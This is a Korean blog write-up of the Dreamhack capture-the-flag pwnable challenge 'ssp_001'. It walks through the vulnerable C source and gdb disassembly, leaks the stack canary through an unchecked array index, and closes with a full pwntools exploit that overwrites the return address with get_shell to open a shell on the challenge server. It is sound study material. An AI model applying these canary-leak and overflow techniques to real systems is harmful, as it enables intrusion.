[포너블] ssp_001

Chris Kim·2024년 10월 15일

시스템해킹

목록 보기
10/33

문제 출처 드림핵

0. Prologue

SSP 방어 기법을 우회하여 셸을 획득하고 flag 파일을 읽는 것이 목표다.
먼저 들어가기 전에 사양을 확인해보자.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Canary와 NX가 적용되어 있다. NX가 뭔지 몰라 찾아보니 스택영역에서 코드를 실행하지 못하게 하여 버퍼 오버플로우를 통한 공격을 막는 것이라고 한다.

1. 취약점 분석

1.1 정적 분석

주어진 바이너리 파일(ssp_001)의 소스코드(ssp_001.c)는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

box에 문자열을 집어 넣고(F), 인덱스를 입력하면 해당 인덱스에 해당하는 문자를 정수로 반환해주고 있다. 그리고 Exit 할 때에는 name_len을 입력받고 name을 입력받는다.

여기에서 취약해보이는 부분은 Case: Pscanf와, case: Escanf다. 전자는 글자수입력에 제한이 없고, 후자의 경우 read 함수에서 name_len 만큼 입력을 제한하기는 하나, 이 name_len 또한 사용자 입력에 따라 정해지는 것이기에 취약한 부분으로 예상된다.

하지만 제일 중요한 것은 get_shell 함수가 있다는 사실이다. 따라서 나는 카나리 값만 신경쓰면서 반환 주소를 get_shell 함수의 위치로 덮어씌워주면 된다.

1.2 동적 분석

main 함수를 gdb에서 디스어셈블한 결과는 다음과 같다.

 0x0804872b <+0>:	push   ebp
   0x0804872c <+1>:	mov    ebp,esp
   0x0804872e <+3>:	push   edi
   0x0804872f <+4>:	sub    esp,0x94
   0x08048735 <+10>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:	mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:	mov    eax,gs:0x14
   0x08048744 <+25>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:	xor    eax,eax
   0x08048749 <+30>:	lea    edx,[ebp-0x88]
   0x0804874f <+36>:	mov    eax,0x0
   0x08048754 <+41>:	mov    ecx,0x10
   0x08048759 <+46>:	mov    edi,edx
   0x0804875b <+48>:	rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:	lea    edx,[ebp-0x48]
   0x08048760 <+53>:	mov    eax,0x0
   0x08048765 <+58>:	mov    ecx,0x10
   0x0804876a <+63>:	mov    edi,edx
   0x0804876c <+65>:	rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:	mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:	mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:	mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:	call   0x8048672 <initialize>
   0x08048790 <+101>:	call   0x80486f1 <menu>
   0x08048795 <+106>:	push   0x2
   0x08048797 <+108>:	lea    eax,[ebp-0x8a]
   0x0804879d <+114>:	push   eax
   0x0804879e <+115>:	push   0x0
   0x080487a0 <+117>:	call   0x80484a0 <read@plt>
   0x080487a5 <+122>:	add    esp,0xc
   0x080487a8 <+125>:	movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:	movsx  eax,al
   0x080487b2 <+135>:	cmp    eax,0x46
   0x080487b5 <+138>:	je     0x80487c6 <main+155>
   0x080487b7 <+140>:	cmp    eax,0x50
   0x080487ba <+143>:	je     0x80487eb <main+192>
   0x080487bc <+145>:	cmp    eax,0x45
   0x080487bf <+148>:	je     0x8048824 <main+249>
   0x080487c1 <+150>:	jmp    0x804887a <main+335>
   0x080487c6 <+155>:	push   0x804896c
   0x080487cb <+160>:	call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:	add    esp,0x4
   0x080487d3 <+168>:	push   0x40
   0x080487d5 <+170>:	lea    eax,[ebp-0x88]
   0x080487db <+176>:	push   eax
   0x080487dc <+177>:	push   0x0
   0x080487de <+179>:	call   0x80484a0 <read@plt>
   0x080487e3 <+184>:	add    esp,0xc
   0x080487e6 <+187>:	jmp    0x804887a <main+335>
   0x080487eb <+192>:	push   0x8048979
   0x080487f0 <+197>:	call   0x80484b0 <printf@plt>
   0x080487f5 <+202>:	add    esp,0x4
   0x080487f8 <+205>:	lea    eax,[ebp-0x94]
   0x080487fe <+211>:	push   eax
   0x080487ff <+212>:	push   0x804898a
   0x08048804 <+217>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048809 <+222>:	add    esp,0x8
   0x0804880c <+225>:	mov    eax,DWORD PTR [ebp-0x94]
   0x08048812 <+231>:	push   eax
   0x08048813 <+232>:	lea    eax,[ebp-0x88]
   0x08048819 <+238>:	push   eax
   0x0804881a <+239>:	call   0x80486cc <print_box>
   0x0804881f <+244>:	add    esp,0x8
   0x08048822 <+247>:	jmp    0x804887a <main+335>
   0x08048824 <+249>:	push   0x804898d
   0x08048829 <+254>:	call   0x80484b0 <printf@plt>
   0x0804882e <+259>:	add    esp,0x4
   0x08048831 <+262>:	lea    eax,[ebp-0x90]
   0x08048837 <+268>:	push   eax
   0x08048838 <+269>:	push   0x804898a
   0x0804883d <+274>:	call   0x8048540 <__isoc99_scanf@plt>
   0x08048842 <+279>:	add    esp,0x8
   0x08048845 <+282>:	push   0x804899a
   0x0804884a <+287>:	call   0x80484b0 <printf@plt>
   0x0804884f <+292>:	add    esp,0x4
   0x08048852 <+295>:	mov    eax,DWORD PTR [ebp-0x90]
   0x08048858 <+301>:	push   eax
   0x08048859 <+302>:	lea    eax,[ebp-0x48]
   0x0804885c <+305>:	push   eax
   0x0804885d <+306>:	push   0x0
   0x0804885f <+308>:	call   0x80484a0 <read@plt>
   0x08048864 <+313>:	add    esp,0xc
   0x08048867 <+316>:	mov    eax,0x0
   0x0804886c <+321>:	mov    edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:	xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:	je     0x8048884 <main+345>
   0x08048878 <+333>:	jmp    0x804887f <main+340>
   0x0804887a <+335>:	jmp    0x8048790 <main+101>
   0x0804887f <+340>:	call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:	mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:	leave
   0x08048888 <+349>:	ret

main+19를 보면 gs:0x14로 부터 카나리 값을 받아오는 걸 볼 수 있다. 위치는 당연히 ebp+0x8!(4바이트는 더미일 것이다) 프로그램을 실행해가면서 어떤 변수에 입력을 하면 카나리 값을 얻을 수 있을지 살펴보자.

Exit 을 선택해서 name_len을 충분히 입력하고 AAA...을 입력한 뒤 rsp-0x8의 값을 조회해 보면

카나리 값이 A로 뒤덮여있는걸 볼 수 있다.
하지만 이렇게 입력을 하더라도 곧바로 프로그램이 종료되기에 의미가 없다.

1.3 카나리아 찾기

의외로 카나리는 찾기 쉬웠다. 앞서 풀어본 예제처럼 오버플로우하는 방식이 아닌 다른 방식이었다. 소스코드의 print_box를 디스어셈블 해보았다.

0x080486cc <+0>:	push   ebp
   0x080486cd <+1>:	mov    ebp,esp
   0x080486cf <+3>:	mov    edx,DWORD PTR [ebp+0xc]
   0x080486d2 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080486d5 <+9>:	add    eax,edx
   0x080486d7 <+11>:	movzx  eax,BYTE PTR [eax]
=> 0x080486da <+14>:	movzx  eax,al
   0x080486dd <+17>:	push   eax
   0x080486de <+18>:	push   DWORD PTR [ebp+0xc]
   0x080486e1 <+21>:	push   0x8048924
   0x080486e6 <+26>:	call   0x80484b0 <printf@plt>
   0x080486eb <+31>:	add    esp,0xc
   0x080486ee <+34>:	nop
   0x080486ef <+35>:	leave
   0x080486f0 <+36>:	ret

0x080486d5이 보이는가? 문자열 내 특정 인덱스의 문자에 접근하기 위해, 인덱스로 받아온 idxbox를 더하고 있다. 즉 idx에 적절한 수를 반복적으로 넣으면 카나리를 획득할 수 있다.

1.4 get_shell 주소

get_shell 함수 주소는 다음과 같다.

pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x80486b9 <get_shell>

2. 익스플로잇

2.1 cnry 획득

cnry 획득을 위한 코드는 다음과 같다.

cnry = b''

for i in range(3, -1, -1):
    p.recvuntil(b"[E]xit")
    p.sendlineafter(b"> ", b"P")
    p.recvuntil(b"Element index : ")
    p.sendline(str(i+0x80).encode())
    p.recvuntil(b"is : ")
    cnry += p.recvn(2)

cnry = int(cnry,16)

리틀 엔디안과 관련해서 3시간동안 고생했다. 카나리를 리틀엔디안 순으로 받아와야 하는 거였다.그래야 리틀 엔디안으로 입력할 수 있으니까

2.2 페이로드

# [2] 페이로드 작성
shell_addr = int(0x80486b9)
payload =b'A'*0x40 + p32(cnry) + b'B'*8 + p32(shell_addr)
print(f"Payload: {payload}")

# [3] 페이로드 주입
p.recvuntil(b"[E]xit")
p.sendlineafter(b"> ", b"E")
p.recvuntil(b"Name Size : ")
p.sendline(b'100') #그냥 큰 수 넣었습니다. 낭낭하게
p.sendlineafter(b"Name : ", payload)

p.interactive()

B는 더미 4바이트, ebp 4바이트다.

2.3 전체 익스플로잇

# Name: exploit.py
from pwn import *

# p = process('./ssp_001')
p = remote('host3.dreamhack.games', xxxx)


# [1] 카나리 획득 
cnry = b''

for i in range(3, -1, -1):
    p.recvuntil(b"[E]xit")
    p.sendlineafter(b"> ", b"P")
    p.recvuntil(b"Element index : ")
    p.sendline(str(i+0x80).encode())
    p.recvuntil(b"is : ")
    cnry += p.recvn(2)

cnry = int(cnry,16)



# [2] 페이로드 작성
shell_addr = int(0x80486b9)
payload =b'A'*0x40 + p32(cnry) + b'B'*8 + p32(shell_addr)
print(f"Payload: {payload}")

# [3] 페이로드 주입
p.recvuntil(b"[E]xit")
p.sendlineafter(b"> ", b"E")
p.recvuntil(b"Name Size : ")
p.sendline(b'100') #그냥 큰 수 넣었습니다. 낭낭하게
p.sendlineafter(b"Name : ", payload)

p.interactive()

3. 느낀점

리틀 엔디안에서 삽질하면서 제대로 공부했다.

profile
회계+IT=???

0개의 댓글